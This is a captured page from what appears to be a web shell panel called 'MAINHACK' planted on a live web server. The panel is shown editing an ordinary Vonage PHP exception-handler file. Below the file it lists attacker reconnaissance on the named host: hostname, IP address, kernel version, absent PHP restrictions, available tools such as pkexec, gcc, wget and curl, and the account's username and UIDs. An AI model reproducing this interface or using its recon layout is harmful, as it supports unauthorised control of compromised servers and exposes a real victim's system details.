[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: APIExceptionHandler.php
<?php declare(strict_types=1); namespace Vonage\Client; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use function is_string; use function json_decode; use function sprintf; class APIExceptionHandler { /** * Format to use for the rfc7807 formatted errors * * @var string */ protected $rfc7807Format = "%s: %s. See %s for more information"; public function setRfc7807Format(string $format): void { $this->rfc7807Format = $format; } /** * @throws Exception\Exception * * @return Exception\Request|Exception\Server */ public function __invoke(ResponseInterface $response, RequestInterface $request) { $body = json_decode($response->getBody()->getContents(), true); $response->getBody()->rewind(); $status = (int)$response->getStatusCode(); // Error responses aren't consistent. Some are generated within the // proxy and some are generated within voice itself. This handles // both cases // This message isn't very useful, but we shouldn't ever see it $errorTitle = 'Unexpected error'; if (isset($body['title'])) { // Have to do this check to handle VAPI errors if (isset($body['type']) && is_string($body['type'])) { $errorTitle = sprintf( $this->rfc7807Format, $body['title'], $body['detail'], $body['type'] ); } else { $errorTitle = $body['title']; } } if (isset($body['error_title'])) { $errorTitle = $body['error_title']; } if (isset($body['error-code-label'])) { $errorTitle = $body['error-code-label']; } if (isset($body['description'])) { $errorTitle = $body['description']; } if ($status >= 400 && $status < 500) { $e = new Exception\Request($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } elseif ($status >= 500 && $status < 600) { $e = new Exception\Server($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } else { $e = new Exception\Exception('Unexpected HTTP Status Code'); throw $e; } return $e; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002